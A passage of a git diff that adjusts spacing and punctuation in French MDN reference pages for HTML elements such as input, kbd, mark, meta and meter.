type="file">`](/fr/docs/Web/HTML/Element/input/file)). - `text/plain` - : Les données sont envoyées comme texte simple. Cette valeur est généralement utile pour déboguer car elle permet de voir facilement les données envoyées. diff --git a/files/fr/web/html/element/input/index.md b/files/fr/web/html/element/input/index.md index ccbdcb79bc..35adc2c7eb 100644 --- a/files/fr/web/html/element/input/index.md +++ b/files/fr/web/html/element/input/index.md @@ -25,7 +25,7 @@ Les types de champs disponibles sont : - `{{HTMLElement("input/button", "button")}}` : un bouton sans comportement défini. - `{{HTMLElement("input/checkbox", "checkbox")}}` : une case à cocher qui permet de sélectionner/déselectionner une valeur - `{{HTMLElement("input/color", "color")}}` : {{HTMLVersionInline("5")}} un contrôle qui permet de définir une couleur. -- `{{HTMLElement("input/date", "date")}}` : {{HTMLVersionInline("5")}} un contrôle qui permet de saisir une date (composé d'un jour, d'un mois et d'une année). +- `{{HTMLElement("input/date", "date")}}` : {{HTMLVersionInline("5")}} un contrôle qui permet de saisir une date (composé d'un jour, d'un mois et d'une année). - `{{HTMLElement("input/datetime-local", "datetime-local")}}` : {{HTMLVersionInline("5")}} un contrôle qui permet de saisir une date et une heure (sans fuseau horaire). - `{{HTMLElement("input/email", "email")}}` : {{HTMLVersionInline("5")}} un champ qui permet de saisir une adresse éléctronique. - `{{HTMLElement("input/file", "file")}}` : un contrôle qui permet de sélectionner un fichier. L'attribut **`accept`** définit les types de fichiers qui peuvent être sélectionnés. @@ -122,7 +122,7 @@ L'attribut `list` n'est pas pris en charge pour les types `hidden`, `password`, Une chaîne de caractères qui définit le nom associé au champ. Ce nom sera envoyé avec la valeur lors de l'envoi du formulaire. -Lorsqu'un champ a un nom, cette valeur devient une propriété de {{domxref("HTMLFormElement.elements")}} qu'on pourra utiliser en JavaScript (ex. si on a un attribut `name` qui vaut `hat-size` : +Lorsqu'un champ a un nom, cette valeur devient une propriété de {{domxref("HTMLFormElement.elements")}} qu'on pourra utiliser en JavaScript (ex. si on a un attribut `name` qui vaut `hat-size` : ```js let form = document.querySelector("form"); diff --git a/files/fr/web/html/element/input/password/index.md b/files/fr/web/html/element/input/password/index.md index 3099a4465e..b4e3a11e68 100644 --- a/files/fr/web/html/element/input/password/index.md +++ b/files/fr/web/html/element/input/password/index.md @@ -252,7 +252,7 @@ L'attribut {{htmlattrxref("inputmode", "input")}} vaut `number`, ce qui incite l <td> {{domxref("HTMLInputElement.select", "select()")}}, {{domxref("HTMLInputElement.setRangeText", "setRangeText()")}} - et + et {{domxref("HTMLInputElement.setSelectionRange", "setSelectionRange()")}} </td> </tr> diff --git a/files/fr/web/html/element/input/range/index.md b/files/fr/web/html/element/input/range/index.md index eb985953b5..377e4c12c2 100644 --- a/files/fr/web/html/element/input/range/index.md +++ b/files/fr/web/html/element/input/range/index.md @@ -18,7 +18,7 @@ Si le navigateur de l'utilisateur ne prend pas en charge le type `range`, il uti ## Valeur -L'attribut {{htmlattrxref("value", "input")}} contient une chaîne de caractères {{domxref("DOMString")}} qui correspond à la représentation textuelle du nombre sélectionnée. La valeur n'est jamais une chaîne vide (`""`). La valeur par défaut est celle médiane entre le minimum et le maximum (sauf si la valeur maximale indiquée est inférieure à la valeur minimale, auquel cas la valeur par défaut est celle de l'attribut `min`). Voici un fragment de code illustrant cet algorithme pour le choix de la valeur par défaut : +L'attribut {{htmlattrxref("value", "input")}} contient une chaîne de caractères {{domxref("DOMString")}} qui correspond à la représentation textuelle du nombre sélectionnée. La valeur n'est jamais une chaîne vide (`""`). La valeur par défaut est celle médiane entre le minimum et le maximum (sauf si la valeur maximale indiquée est inférieure à la valeur minimale, auquel cas la valeur par défaut est celle de l'attribut `min`). Voici un fragment de code illustrant cet algorithme pour le choix de la valeur par défaut : ```js defaultValue = (rangeElem.max < rangeElem.min) ? rangeElem.min @@ -106,7 +106,7 @@ Cet exemple permet à l'utilisateur de choisir une valeur entre 0 et 3.14 sans a ### Ajouter des marques et des étiquettes -La spécification HTML fournit une certaine flexibilité aux navigateurs pour représenter le contrôle de saisie. La spécification indique comment ajouter des informations pour certains niveaux de l'intervalle grâce à l'attribut {{htmlattrxref("list", "input")}} et à un élément {{HTMLElement("datalist")}}. En revanche, il n'y a pas de spécifications précises quant aux marques (tirets) positionnés le long du contrôle. +La spécification HTML fournit une certaine flexibilité aux navigateurs pour représenter le contrôle de saisie. La spécification indique comment ajouter des informations pour certains niveaux de l'intervalle grâce à l'attribut {{htmlattrxref("list", "input")}} et à un élément {{HTMLElement("datalist")}}. En revanche, il n'y a pas de spécifications précises quant aux marques (tirets) positionnés le long du contrôle. #### Aperçus @@ -278,9 +278,9 @@ Ensuite, on applique quelques règles CSS. Voici la règle CSS pour l'élément ```css .slider-wrapper { display: inline-block; - width: 20px; - height: 150px; - padding: 0; + width: 20px; + height: 150px; + padding: 0; } ``` @@ -288,11 +288,11 @@ Ensuite, on applique une transformation sur l'élément `<input>` au sein de l'e ```css .slider-wrapper input { - width: 150px; - height: 20px; - margin: 0; - transform-origin: 75px 75px; - transform: rotate(-90deg); + width: 150px; + height: 20px; + margin: 0; + transform-origin: 75px 75px; + transform: rotate(-90deg); } ``` diff --git a/files/fr/web/html/element/input/reset/index.md b/files/fr/web/html/element/input/reset/index.md index c05051aea7..1e429b0cab 100644 --- a/files/fr/web/html/element/input/reset/index.md +++ b/files/fr/web/html/element/input/reset/index.md @@ -122,7 +122,7 @@ Aucune fonctionnalité de vérification native côté client n'est implémentée <tr> <td><strong>Attributs pris en charge</strong></td> <td> - {{htmlattrxref("type", "input")}} et + {{htmlattrxref("type", "input")}} et {{htmlattrxref("value", "input")}} </td> </tr> diff --git a/files/fr/web/html/element/input/search/index.md b/files/fr/web/html/element/input/search/index.md index a7bfd39ab4..c90ac45edc 100644 --- a/files/fr/web/html/element/input/search/index.md +++ b/files/fr/web/html/element/input/search/index.md @@ -376,7 +376,7 @@ Vous pouvez consulter un exemple de formulaire de recherche dans notre exemple [ {{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("maxlength", "input")}}, - {{htmlattrxref("minlength", "input")}}, {{htmlattrxref("pattern", "input")}}, {{htmlattrxref("placeholder", "input")}}, {{htmlattrxref("required", "input")}}, {{htmlattrxref("size", "input")}}. + {{htmlattrxref("minlength", "input")}}, {{htmlattrxref("pattern", "input")}}, {{htmlattrxref("placeholder", "input")}}, {{htmlattrxref("required", "input")}}, {{htmlattrxref("size", "input")}}. </td> </tr> <tr> diff --git a/files/fr/web/html/element/input/submit/index.md b/files/fr/web/html/element/input/submit/index.md index 01d495d09b..3899db3da1 100644 --- a/files/fr/web/html/element/input/submit/index.md +++ b/files/fr/web/html/element/input/submit/index.md @@ -60,7 +60,7 @@ Une chaîne de caractères qui identifie la méthode d'encodage à utiliser pour - `application/x-www-form-urlencoded` - : Les informations sont envoyées sous la forme d'une chaîne de caractères ajoutée à l'URL en utilisant l'algorithme de {{jsxref("encodeURI", "encodeURI()")}}. **Cette valeur est la valeur par défaut.** - `multipart/form-data` - - : Cette valeur utilise l'API {{domxref("FormData")}} pour gérer les données et permet d'*uploader*des fichiers. Cet encodage _doit_ être utilisé s'il y a des éléments {{HTMLElement("input")}} de {{htmlattrxref("type", "input")}} `"file"` ([`<input type="file">`](/fr/docs/Web/HTML/Element/input/file)). + - : Cette valeur utilise l'API {{domxref("FormData")}} pour gérer les données et permet d'*uploader*des fichiers. Cet encodage _doit_ être utilisé s'il y a des éléments {{HTMLElement("input")}} de {{htmlattrxref("type", "input")}} `"file"` ([`<input type="file">`](/fr/docs/Web/HTML/Element/input/file)). - `text/plain` - : Les données sont envoyées comme texte simple. Cette valeur est généralement utile pour déboguer car elle permet de voir facilement les données envoyées. diff --git a/files/fr/web/html/element/input/tel/index.md b/files/fr/web/html/element/input/tel/index.md index 5b503a511e..02fdce9c4e 100644 --- a/files/fr/web/html/element/input/tel/index.md +++ b/files/fr/web/html/element/input/tel/index.md @@ -112,7 +112,7 @@ Dans l'exemple suivant, on a un contrôle `"tel"` avec un attribut `placeholder` ```html <input id="telNo" name="telNo" type="tel" - placeholder="01 23 45 67 89"> + placeholder="01 23 45 67 89"> ``` {{EmbedLiveSample('Textes_indicatifs_-_placeholders', 600, 40)}} @@ -127,7 +127,7 @@ La taille physique de la boîte de saisie peut être contrôlée avec l'attribut ```html <input id="telNo" name="telNo" type="tel" - size="20"> + size="20"> ``` {{EmbedLiveSample('La_taille_physique', 600, 40)}} @@ -140,7 +140,7 @@ Dans l'exemple qui suit, on crée un contrôle qui mesure 20 caractères de larg ```html <input id="telNo" name="telNo" type="tel" - size="20" minlength="9" maxlength="14"> + size="20" minlength="9" maxlength="14"> ``` {{EmbedLiveSample("La_longueur_de_la_valeur", 600, 40)}} @@ -153,29 +153,29 @@ Il est possible de fournir une valeur par défaut en renseignant au préalable l ```html <input id="telNo" name="telNo" type="tel" - value="01 23 45 67 89"> + value="01 23 45 67 89"> ``` {{EmbedLiveSample("Fournir_une_valeur_par_défaut", 600, 40)}} #### Afficher des suggestions -Si on souhaite aller plus loin, on peut fournir une liste de suggestions parmi lesquelles l'utilisateur pourra choisir (il pourra également saisir la valeur de son choix si celle-ci ne fait pas partie de la liste). Pour cela, on utilisera l'attribut {{htmlattrxref("list", "input")}} dont la valeur est l'identifiant d'un élément {{HTMLElement("datalist")}} qui contient autant d'éléments {{HTMLElement("option")}} que de valeurs suggérées. C'est la valeur de l'attribut `value` de chaque élément `<option>` qui sera utilisée comme suggestion. +Si on souhaite aller plus loin, on peut fournir une liste de suggestions parmi lesquelles l'utilisateur pourra choisir (il pourra également saisir la valeur de son choix si celle-ci ne fait pas partie de la liste). Pour cela, on utilisera l'attribut {{htmlattrxref("list", "input")}} dont la valeur est l'identifiant d'un élément {{HTMLElement("datalist")}} qui contient autant d'éléments {{HTMLElement("option")}} que de valeurs suggérées. C'est la valeur de l'attribut `value` de chaque élément `<option>` qui sera utilisée comme suggestion. ```html <input id="telNo" name="telNo" type="tel" list="defaultTels"> <datalist id="defaultTels"> - <option value="01 23 45 67 89"> - <option value="02 45 67 89 01"> - <option value="03 45 67 89 12"> - <option value="04 56 87 98 32"> + <option value="01 23 45 67 89"> + <option value="02 45 67 89 01"> + <option value="03 45 67 89 12"> + <option value="04 56 87 98 32"> </datalist> ``` {{EmbedLiveSample("Afficher_des_suggestions", 600, 40)}} -Avec l'élément {{HTMLElement("datalist")}} contenant ces différentes valeurs {{HTMLElement("option")}}, le navigateur affichera une liste déroulante (ou un autre élément d'interface utilisateur) afin que l'utilisateur puisse éventuellement choisir parmi les suggestions. Lorsque l'utilisateur saisit dans le contrôle, la liste des suggestions est restreinte à celles qui correspondent encore. +Avec l'élément {{HTMLElement("datalist")}} contenant ces différentes valeurs {{HTMLElement("option")}}, le navigateur affichera une liste déroulante (ou un autre élément d'interface utilisateur) afin que l'utilisateur puisse éventuellement choisir parmi les suggestions. Lorsque l'utilisateur saisit dans le contrôle, la liste des suggestions est restreinte à celles qui correspondent encore. ## Validation diff --git a/files/fr/web/html/element/input/text/index.md b/files/fr/web/html/element/input/text/index.md index 1b616957e4..a6f1e700d6 100644 --- a/files/fr/web/html/element/input/text/index.md +++ b/files/fr/web/html/element/input/text/index.md @@ -52,7 +52,7 @@ Le champ [ne sera pas valide](/fr/docs/Web/Guide/HTML/HTML5/Constraint_validatio ### {{htmlattrdef("pattern")}} -L'attribut `pattern` est une expression rationnelle que doit respecter la valeur ({{htmlattrxref("value")}}) du champ afin d'être [valide](/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation). Cette expression rationnelle doit être une expression rationnelle valide pour JavaScript (telle qu'utilisée par {{jsxref("RegExp")}} et telle que documentée dans [ce guide](/fr/docs/Web/JavaScript/Guide/Expressions_régulières)). Le marqueur `'u'` est fourni par le navigateur lors de la compilation de l'expression rationnelle afin que le motif soit traité comme une séquence de points de code Unicode plutôt que comme des caractères ASCII. Aucune barre oblique (/) ne devrait être utilisée autour du motif. +L'attribut `pattern` est une expression rationnelle que doit respecter la valeur ({{htmlattrxref("value")}}) du champ afin d'être [valide](/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation). Cette expression rationnelle doit être une expression rationnelle valide pour JavaScript (telle qu'utilisée par {{jsxref("RegExp")}} et telle que documentée dans [ce guide](/fr/docs/Web/JavaScript/Guide/Expressions_régulières)). Le marqueur `'u'` est fourni par le navigateur lors de la compilation de l'expression rationnelle afin que le motif soit traité comme une séquence de points de code Unicode plutôt que comme des caractères ASCII. Aucune barre oblique (/) ne devrait être utilisée autour du motif. Si l'expression rationnelle est invalide ou que cet attribut n'est pas défini, l'attribut est ignoré. @@ -64,9 +64,9 @@ Voir [la section sur l'utilisation de cet attribut ci-après](#format) pour plus L'attribut `placeholder` est une chaîne de caractères fournissant une courte indication à l'utilisateur quant à l'information attendue dans le champ. Cet attribut devrait être un mot ou une phrase courte qui illustre le type de donnée attendu plutôt qu'un message explicatif. Le texte ne doit pas contenir de saut à la ligne. -Si le contenu du contrôle respecte une directionnalité donnée ({{Glossary("LTR")}} ou {{Glossary("RTL")}}) et que le texte indicatif doit être présenté dans l'autre sens, il est possible d'utiliser l'algorithme de formatage bidirectionnel Unicode (cf. {{SectionOnPage("/en-US/docs/Web/Localization/Unicode_Bidirectional_Text_Algorithm", "Overriding BiDi using Unicode control characters")}}). +Si le contenu du contrôle respecte une directionnalité donnée ({{Glossary("LTR")}} ou {{Glossary("RTL")}}) et que le texte indicatif doit être présenté dans l'autre sens, il est possible d'utiliser l'algorithme de formatage bidirectionnel Unicode (cf. {{SectionOnPage("/en-US/docs/Web/Localization/Unicode_Bidirectional_Text_Algorithm", "Overriding BiDi using Unicode control characters")}}). -> **Note :** On évitera, tant que faire se peut, d'utiliser l'attribut `placeholder` car il n'est pas sémantiquement très utile pour expliquer le formulaire et car il peut causer certains problèmes avec le contenu. Voir {{SectionOnPage("/fr/docs/Web/HTML/Element/input", "Libellés et textes indicatifs")}} pour plus d'informations. +> **Note :** On évitera, tant que faire se peut, d'utiliser l'attribut `placeholder` car il n'est pas sémantiquement très utile pour expliquer le formulaire et car il peut causer certains problèmes avec le contenu. Voir {{SectionOnPage("/fr/docs/Web/HTML/Element/input", "Libellés et textes indicatifs")}} pour plus d'informations. ### {{htmlattrdef("readonly")}} @@ -360,7 +360,7 @@ En plus des exemples précédents, vous pouvez consulter les articles [Un premie {{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("maxlength", "input")}}, - {{htmlattrxref("minlength", "input")}}, {{htmlattrxref("pattern", "input")}}, {{htmlattrxref("placeholder", "input")}}, {{htmlattrxref("required", "input")}}, {{htmlattrxref("readonly", "input")}}, + {{htmlattrxref("minlength", "input")}}, {{htmlattrxref("pattern", "input")}}, {{htmlattrxref("placeholder", "input")}}, {{htmlattrxref("required", "input")}}, {{htmlattrxref("readonly", "input")}}, {{htmlattrxref("size", "input")}}. </td> </tr> diff --git a/files/fr/web/html/element/input/url/index.md b/files/fr/web/html/element/input/url/index.md index e9f7950ab4..af6b05d62e 100644 --- a/files/fr/web/html/element/input/url/index.md +++ b/files/fr/web/html/element/input/url/index.md @@ -302,7 +302,7 @@ En plus des exemples précédents, vous pouvez consulter [l'exemple de validatio {{htmlattrxref("minlength", "input")}}, {{htmlattrxref("pattern", "input")}}, {{htmlattrxref("placeholder", "input")}}, - {{htmlattrxref("readonly", "input")}}, {{htmlattrxref("required", "input")}} + {{htmlattrxref("readonly", "input")}}, {{htmlattrxref("required", "input")}} et {{htmlattrxref("size", "input")}} </td> </tr> diff --git a/files/fr/web/html/element/ins/index.md b/files/fr/web/html/element/ins/index.md index 146372cb9a..a94a3397e2 100644 --- a/files/fr/web/html/element/ins/index.md +++ b/files/fr/web/html/element/ins/index.md @@ -126,9 +126,9 @@ Certaines personnes qui utilisent des lecteurs d'écran désactivent sciemment c | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------ | -------------------------------- | ------------ | -| {{SpecName('HTML WHATWG', 'edits.html#the-ins-element', '<ins>')}} | {{Spec2('HTML WHATWG')}} | | -| {{SpecName('HTML5 W3C', 'edits.html#the-ins-element', '<ins>')}} | {{Spec2('HTML5 W3C')}} | | -| {{SpecName('HTML4.01', 'struct/text.html#h-9.4', '<ins>')}} | {{Spec2('HTML4.01')}} | | +| {{SpecName('HTML WHATWG', 'edits.html#the-ins-element', '<ins>')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML5 W3C', 'edits.html#the-ins-element', '<ins>')}} | {{Spec2('HTML5 W3C')}} | | +| {{SpecName('HTML4.01', 'struct/text.html#h-9.4', '<ins>')}} | {{Spec2('HTML4.01')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/element/kbd/index.md b/files/fr/web/html/element/kbd/index.md index b29e821b08..86cab0a72c 100644 --- a/files/fr/web/html/element/kbd/index.md +++ b/files/fr/web/html/element/kbd/index.md @@ -10,9 +10,9 @@ translation_of: Web/HTML/Element/kbd --- {{HTMLRef}} -L'élément HTML **`<kbd>`** représente une plage de texte en ligne indiquant la saisie de texte par l'utilisateur à partir d'un clavier, d'une saisie vocale ou de tout autre dispositif de saisie de texte. Par convention, le {{Glossary("user agent")}} rend par défaut le contenu d'un élément `<kbd>` en utilisant sa police monospace, bien que cela ne soit pas requis par le standard HTML. +L'élément HTML **`<kbd>`** représente une plage de texte en ligne indiquant la saisie de texte par l'utilisateur à partir d'un clavier, d'une saisie vocale ou de tout autre dispositif de saisie de texte. Par convention, le {{Glossary("user agent")}} rend par défaut le contenu d'un élément `<kbd>` en utilisant sa police monospace, bien que cela ne soit pas requis par le standard HTML. -`<kbd>` peut être imbriqué dans diverses combinaisons avec {{HTMLElement("samp")}} (Sample Output) pour représenter diverses formes d'entrée ou d'entrée basées sur des repères visuels. +`<kbd>` peut être imbriqué dans diverses combinaisons avec {{HTMLElement("samp")}} (Sample Output) pour représenter diverses formes d'entrée ou d'entrée basées sur des repères visuels. {{EmbedInteractiveExample("pages/tabbed/kbd.html", "tabbed-shorter")}} @@ -25,7 +25,7 @@ Cet élément ne contient que [les attributs universels](/fr/docs/Web/HTML/Attri D'autres éléments peuvent être utilisés en association avec `<kbd>` afin de représenter certains scénarios plus spécifiques : - Imbriquer un élément `<kbd>` dans un autre élément `<kbd>` représente une touche ou une unité de saisie au sein d'une saisie plus grande. Cf. {{anch("Représenter les frappes de touches dans une saisie")}} ci-après. -- Imbriquer un élément `<kbd>` dans un élément {{HTMLElement("samp")}} permet d'indiquer que la saisie a été restituée (_echo_) à l'utilisateur. Cf. {{anch("Saisie restituée")}}, ci-après. +- Imbriquer un élément `<kbd>` dans un élément {{HTMLElement("samp")}} permet d'indiquer que la saisie a été restituée (_echo_) à l'utilisateur. Cf. {{anch("Saisie restituée")}}, ci-après. - Imbriquer un élément `<samp>` dans un élément `<kbd>` permet de représenter des saisies basées sur le texte présenté par le système (cela peut être le nom de menus, d'éléments de menu ou le nom de bouttons affichés à l'écran). Cf. {{anch("Représenter les options de saisies à l'écran")}} ci-après.. > **Note :** Il est possible de définir un style pour surcharger la mise en forme par défaut du navigateur pour l'élément `<kbd>`. À ce titre, on gardera à l'esprit que les préférences et feuilles de style de l'utilisateur peuvent surcharger la mise en forme du site. @@ -75,7 +75,7 @@ On peut alors ajouter un peu de CSS : ##### CSS -On ajoute un règle pour les les éléments `<kbd>` avec la classe `"key"` afin de représenter les touches d'un clavier : +On ajoute un règle pour les les éléments `<kbd>` avec la classe `"key"` afin de représenter les touches d'un clavier : ```css kbd.key { @@ -123,7 +123,7 @@ En imbriquant un élément `<kbd>` dans un élément {{HTMLElement("samp")}}, on ### Représenter les options de saisies à l'écran -Imbriquer un élément `<samp>` dans un élément `<kbd>` représente une saisie basée sur du texte affiché par le système (par exemple des noms de menu, d'éléments de menu, des noms de boutons affichés à l'écran, etc.). +Imbriquer un élément `<samp>` dans un élément `<kbd>` représente une saisie basée sur du texte affiché par le système (par exemple des noms de menu, d'éléments de menu, des noms de boutons affichés à l'écran, etc.). #### HTML diff --git a/files/fr/web/html/element/keygen/index.md b/files/fr/web/html/element/keygen/index.md index a74f6f7836..19c963d0c9 100644 --- a/files/fr/web/html/element/keygen/index.md +++ b/files/fr/web/html/element/keygen/index.md @@ -63,7 +63,7 @@ SignedPublicKeyAndChallenge ::= SEQUENCE { } ``` -La clé publique et la requête/réponse sont encodées en DER en tant que PublicKeyAndChallenge, puis signées avec la clé privée pour produire un SignedPublicKeyAndChallenge. Le SignedPublicKeyAndChallenge est encodé en base64 et les données ASCII sont finalement envoyées au serveur sous forme d'une paire nom-valeur du formulaire. Le nom étant la valeur définie par l'attribut `name` de l'élément `keygen`. Si aucune chaîne de requête/réponse n'est fournie, cela sera encodé comme une IA5STRING de longueur nulle. +La clé publique et la requête/réponse sont encodées en DER en tant que PublicKeyAndChallenge, puis signées avec la clé privée pour produire un SignedPublicKeyAndChallenge. Le SignedPublicKeyAndChallenge est encodé en base64 et les données ASCII sont finalement envoyées au serveur sous forme d'une paire nom-valeur du formulaire. Le nom étant la valeur définie par l'attribut `name` de l'élément `keygen`. Si aucune chaîne de requête/réponse n'est fournie, cela sera encodé comme une IA5STRING de longueur nulle. Voici un exemple d'un envoi de formulaire, tel qu'envoyé au programme CGI par le serveur HTTP : diff --git a/files/fr/web/html/element/legend/index.md b/files/fr/web/html/element/legend/index.md index 6d4d6157ea..1821e8e31b 100644 --- a/files/fr/web/html/element/legend/index.md +++ b/files/fr/web/html/element/legend/index.md @@ -91,7 +91,7 @@ Cet élément contient uniquement [les attributs universels](/fr/docs/Web/HTML/A | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------- | -------------------------------- | --------------------------------- | | {{SpecName("HTML WHATWG", "forms.html#the-legend-element", "<legend>")}} | {{Spec2("HTML WHATWG")}} | Définition de l'élément `legend`. | -| {{SpecName("HTML5 W3C", "forms.html#the-legend-element", "<legend>")}} | {{Spec2("HTML5 W3C")}} | | +| {{SpecName("HTML5 W3C", "forms.html#the-legend-element", "<legend>")}} | {{Spec2("HTML5 W3C")}} | | | {{SpecName("HTML4.01", "interact/forms.html#h-17.10", "<legend>")}} | {{Spec2("HTML4.01")}} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/element/link/index.md b/files/fr/web/html/element/link/index.md index 10791594c9..30d0b07772 100644 --- a/files/fr/web/html/element/link/index.md +++ b/files/fr/web/html/element/link/index.md @@ -20,7 +20,7 @@ Pour lier une feuille de style externe, on inclut un élément `<link>` de la fo <link href="main.css" rel="stylesheet"> ``` -Dans cet exemple, on indique le chemin vers la feuille de style grâce à l'attribut `href`, l'attribut `rel` possède une valeur `stylesheet` qui indique que c'est une feuille de style. `rel` signifie _relationship_ qui correspond donc à la relation entre la ressource et le document courant. Il existe de [nombreux types de liens possibles](/fr/docs/Web/HTML/Types_de_lien). +Dans cet exemple, on indique le chemin vers la feuille de style grâce à l'attribut `href`, l'attribut `rel` possède une valeur `stylesheet` qui indique que c'est une feuille de style. `rel` signifie _relationship_ qui correspond donc à la relation entre la ressource et le document courant. Il existe de [nombreux types de liens possibles](/fr/docs/Web/HTML/Types_de_lien). Certains types sont assez fréquents. Ainsi, pour l'icône présentant le site dans l'onglet, on trouvera : diff --git a/files/fr/web/html/element/main/index.md b/files/fr/web/html/element/main/index.md index 40023666b2..854ab621f4 100644 --- a/files/fr/web/html/element/main/index.md +++ b/files/fr/web/html/element/main/index.md @@ -142,13 +142,13 @@ Les fonctionnalités « mode lecture » d'un navigateur vérifient la présence <tr> <th scope="row">Rôles ARIA autorisés</th> <td> - Le rôle <code>main</code> est appliqué à <code><main></code> par - défaut, et le rôle <code + Le rôle <code>main</code> est appliqué à <code><main></code> par + défaut, et le rôle <code ><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_presentation_role" >presentation</a ></code - > est également autorisé. + > est également autorisé. </td> </tr> <tr> diff --git a/files/fr/web/html/element/map/index.md b/files/fr/web/html/element/map/index.md index 00b11aba9f..f95e7ab3e3 100644 --- a/files/fr/web/html/element/map/index.md +++ b/files/fr/web/html/element/map/index.md @@ -39,9 +39,9 @@ Comme tous les autres éléments HTML, cet élément inclut [les attributs unive ### Résultat attendu -L'exemple précédent devrait faire apparaître des images semblables (en utilisant la touche <kbd>tab</kbd> de votre clavier) : +L'exemple précédent devrait faire apparaître des images semblables (en utilisant la touche <kbd>tab</kbd> de votre clavier) : -_Pour le lien `left.html` :_ +_Pour le lien `left.html` :_  _Pour le lien `right.html` :_ diff --git a/files/fr/web/html/element/mark/index.md b/files/fr/web/html/element/mark/index.md index 73cf9f4c98..49beaed20c 100644 --- a/files/fr/web/html/element/mark/index.md +++ b/files/fr/web/html/element/mark/index.md @@ -20,7 +20,7 @@ Cet élément inclut uniquement [les attributs universels](/fr/docs/Web/HTML/Att ## **Notes d'utilisation** -- Au sein d'une citation ({{HTMLElement("q")}}) ou dans un autre bloc ({{HTMLElement("blockquote")}}), le texte surligné marque généralement du texte référencé en dehors de la citation ou qui est indiqué pour demander une attention particulière bien que l'auteur ne considère pas ce texte comme important. +- Au sein d'une citation ({{HTMLElement("q")}}) ou dans un autre bloc ({{HTMLElement("blockquote")}}), le texte surligné marque généralement du texte référencé en dehors de la citation ou qui est indiqué pour demander une attention particulière bien que l'auteur ne considère pas ce texte comme important. - Au sein du texte principal, le texte surligné marque du texte d'une pertinence partiulière pour l'utilisateur (par exemple lorsqu'il recherche un terme en particulier). - `<mark>` ne doit pas être utilisé pour de la coloration syntaxique, c'est l'élément {{HTMLElement("span")}} qui devra être utilisé. - `<mark>` ne doit pas être confondu avec {{HTMLElement("strong")}}. L'élément {{HTMLElement("strong")}} est utilisé afin d'indiquer des fragments de texte _importants_ alors que `<mark>` est utilisé afin d'indiquer des fragments de texte _pertinents_. @@ -151,8 +151,8 @@ Certaines personnes qui utilisent des lecteurs d'écran désactivent sciemment c | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------ | -| {{SpecName('HTML WHATWG', 'text-level-semantics.html#the-mark-element','<mark>')}} | {{Spec2('HTML WHATWG')}} | | -| {{SpecName('HTML5 W3C', 'text-level-semantics.html#the-mark-element', '<mark>')}} | {{Spec2('HTML5 W3C')}} | | +| {{SpecName('HTML WHATWG', 'text-level-semantics.html#the-mark-element','<mark>')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML5 W3C', 'text-level-semantics.html#the-mark-element', '<mark>')}} | {{Spec2('HTML5 W3C')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/element/meta/index.md b/files/fr/web/html/element/meta/index.md index b920607777..340b68dda0 100644 --- a/files/fr/web/html/element/meta/index.md +++ b/files/fr/web/html/element/meta/index.md @@ -31,7 +31,7 @@ Comme tous les autres éléments, cet élément inclut [les attributs universels > > - Le jeux de caractères déclaré doit correspondre à celui utilisé dans la page. Il est inutile de déclarer un jeu de caractères incorrect (cela entraînant également une mauvaise expérience utilisateur). > - L'élément {{HTMLElement("meta")}} doit appartenir à l'élément {{HTMLElement("head")}} et doit apparaître parmi les **512 premiers octets de la page**. En effet, certains navigateurs ne consultent seulement ces premiers octets pour déterminer l'encodage utilisé pour la page. - > - L'élément {{HTMLElement("meta")}} ne représente qu'une partie de l'[algorithme déterminant le jeu de caractères](https://www.whatwg.org/specs/web-apps/current-work/multipage/parsing.html#encoding-sniffing-algorithm) à appliquer sur la page par le navigateur. Ainsi, l'en-tête HTTP Content-Type et tous les éléments BOM auront une priorité supérieure à cet élément. + > - L'élément {{HTMLElement("meta")}} ne représente qu'une partie de l'[algorithme déterminant le jeu de caractères](https://www.whatwg.org/specs/web-apps/current-work/multipage/parsing.html#encoding-sniffing-algorithm) à appliquer sur la page par le navigateur. Ainsi, l'en-tête HTTP Content-Type et tous les éléments BOM auront une priorité supérieure à cet élément. > - Définir le jeu de caractères utilisé grâce à cet attribut représente une bonne pratique et est fortement recommandé. Si aucun encodage n'est défini pour la page, plusieurs techniques XSS peuvent porter atteinte à l'utilisateur (voir l'exemple de la [technique XSS de recours à UTF-7](https://code.google.com/p/doctype-mirror/wiki/ArticleUtf7)). Toujours renseigner cet élément meta protégera contre ces dangers. > - L'élément {{HTMLElement("meta")}} est un synonyme de `<meta http-equiv="Content-Type" content="text/html; charset=IANAcharset">` utilisé avant HTML5. Ici *`IANAcharset`* correspond à la valeur de l'attribut {{htmlattrxref("charset", "meta")}} correspondant. Bien qu'elle soit obsolète et qu'elle ne soit plus recommandée, cette syntaxe est toujours autorisée. diff --git a/files/fr/web/html/element/meter/index.md b/files/fr/web/html/element/meter/index.md index 722df5fec1..e35e000567 100644 --- a/files/fr/web/html/element/meter/index.md +++ b/files/fr/web/html/element/meter/index.md @@ -145,7 +145,7 @@ On remarquera ici que l'attribut `min` est absent (ce qui est autorisé), la val | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | -------------------------------- | -------------------- | -| {{SpecName('HTML WHATWG', 'forms.html#the-meter-element', '<meter>')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', 'forms.html#the-meter-element', '<meter>')}} | {{Spec2('HTML WHATWG')}} | | | {{SpecName('HTML5 W3C', 'forms.html#the-meter-element', '<meter>')}} | {{Spec2('HTML5 W3C')}} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/element/nav/index.md b/files/fr/web/html/element/nav/index.md index e4d7c0b138..dabc4cd901 100644 --- a/files/fr/web/html/element/nav/index.md +++ b/files/fr/web/html/element/nav/index.md @@ -21,7 +21,7 @@ Cet élément ne possède que [les attributs universels](/fr/docs/Web/HTML/Globa ## Notes d'utilisation - Tous les liens d'un document ne doivent pas 